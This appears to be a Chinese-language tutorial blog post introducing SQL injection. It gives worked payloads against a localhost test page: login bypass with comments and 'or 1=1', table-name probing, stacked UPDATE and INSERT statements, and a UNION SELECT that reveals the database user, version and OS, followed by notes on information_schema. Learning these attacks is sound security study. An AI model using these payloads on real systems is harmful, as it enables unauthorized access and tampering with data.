Sql Injection

1:sql 注入:SQL Injection

就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

简单来说,就是让服务器获取到你的恶意sql语句,并且执行。

 

 

参考

https://blog.csdn.net/chuan442616909/article/details/58653996

https://www.cnblogs.com/cui0x01/p/8620524.html

 

 

Select * from user where id = ''

 

例子1:

输入为 percy, test

select * from users where username='percy' and password=md5('test')

 

将输入name修改为percy'#(#表示注释)

select * from users where username='percy'#' and password=md5('test')

或者name修改为’ or 1=1#

select * from users where username='' or 1=1#' and password=md5('test')

 

 

例子2:

select * from users where id = '$id'

 

http://localhost:3452/ExcelUsingXSLT/Default.aspx?id=1'or'1'='1

 

id=1' or '1'='1

 

结果select * from users where id = '1' or '1'='1'

 

例子3:探测表名

 

http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select count(*) from job)

 

看返回信息,最后看能不能猜出来,job,jobs。。。

 

例子4:执行update命令

 

14'; update user set name='percy

 

14'; update user set name='percy' where id='12

 

猜测是MD5加密,那么甚至可以构建一个完整的user

 

14';insert into user (name, passwd) values ('percy', '12345678')#

 

 

例子5:获取数据库相关信息

 

1' Union select User(), Database(), Version(), @@version_compile_os, 6

 

Database() :数据库名 fanke

 

Version() :数据库版本 5.5.40

 

User() : 数据库用户 root@localhost

 

@@version_compile_os :操作系统 win32

6:the used select statement hava a different number of columns(针对这个错误,使得两个select的数量是一致的)

 

要求:Mysql5.0以上版本

 

Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库

 

table_name:表名

 

table_schema:数据库名

 

column_name:列名

 

information_schema.tables:存储mysql数据库下所有数据库的表名信息的表

 

information_schema.columns:存储mysql数据库下所有数据库的列名信息的表

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值